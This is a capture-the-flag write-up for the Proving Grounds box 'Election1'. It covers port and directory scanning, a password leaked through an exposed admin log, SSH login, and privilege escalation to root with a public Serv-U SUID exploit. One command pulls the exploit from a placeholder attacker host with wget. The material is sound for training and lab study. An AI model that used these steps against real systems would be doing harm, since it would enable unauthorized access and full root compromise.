# Election1 Writeup - Proving Grounds

> Intermediate Linux box where a world-browsable admin logs directory leaks a user's password, and a SUID Serv-U FTP Server binary gives a known local privilege escalation straight to root.

- **URL:** https://hackindex.io/writeups/election1
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** information-disclosure, suid, privilege-escalation, serv-u
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Election1 exposes an admin logs directory that is left world-browsable, leaking a password for the user love. SSH access leads to a SUID Serv-U FTP Server binary vulnerable to a known local privilege escalation exploit, which drops straight to root.

## Reconnaissance

### Nmap

Scan all ports.

```bash
nmap -sV -p- $TARGET_IP
# 22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
# 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
```

Port 80 serves a default Apache page. Brute force directories.

### Directory discovery

Fuzz the web root, then the discovered application directories.

```bash
gobuster dir -u $TARGET_IP -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k
# /javascript           (Status: 301)
# /election             (Status: 301)
# /phpmyadmin           (Status: 301)
```

Nothing useful in `/phpmyadmin`. Fuzz inside `/election/`.

```bash
gobuster dir -u $TARGET_IP/election/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k
# /media                (Status: 301)
# /themes               (Status: 301)
# /data                 (Status: 301)
# /admin                (Status: 301)
# /lib                  (Status: 301)
# /languages            (Status: 301)
# /js                   (Status: 301)
```

`/election/admin/` is a login page. Fuzz it too.

```bash
gobuster dir -u $TARGET_IP/election/admin/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k
# /img                  (Status: 301)
# /plugins              (Status: 301)
# /css                  (Status: 301)
# /ajax                 (Status: 301)
# /js                   (Status: 301)
# /components           (Status: 301)
# /inc                  (Status: 301)
# /logs                 (Status: 301)
```

## Enumeration

The `/election/admin/logs` directory has directory listing enabled and contains an application log that records a plaintext password assignment.

```bash
curl $TARGET_IP/election/admin/logs/app.log
# [2020-01-01 00:00:00] Assigned Password for the user love: $LOVE_PASSWORD
# [2020-04-03 00:13:53] Love added candidate 'Love'.
```

## Exploitation

### SSH as love

Use the leaked credential to log in over SSH.

```bash
ssh love@$TARGET_IP
# love@election:~$ id
# uid=1000(love) gid=1000(love) groups=1000(love)
```

## Privilege Escalation

### SUID Serv-U FTP Server

Look for SUID binaries.

```bash
find / -perm -u=s -type f 2>/dev/null
# /usr/bin/passwd
# /usr/bin/pkexec
# /usr/bin/sudo
# /usr/sbin/pppd
# /usr/local/Serv-U/Serv-U
```

`/usr/local/Serv-U/Serv-U` stands out. Serv-U FTP Server below version 15.1.7 has a known local privilege escalation (EDB-47009).

```bash
searchsploit -m 47009
# Copied to: /home/kali/47009.c
```

Serve the exploit from the attacker machine and pull it onto the target.

```bash
python3 -m http.server 80
# Serving HTTP on 0.0.0.0 port 80
```

```bash
cd /tmp
wget http://$ATTACKER_IP/47009.c
gcc 47009.c -o 47009
# 47009.c  100%[========>]  588  --.-KB/s  in 0.009s
```

```bash
./47009
# opening root shell
# # id
# uid=0(root) gid=0(root) groups=0(root)
```

Related

## References

- [Exploit-DB 47009](https://www.exploit-db.com/exploits/47009) - Serv-U FTP Server < 15.1.7 local privilege escalation.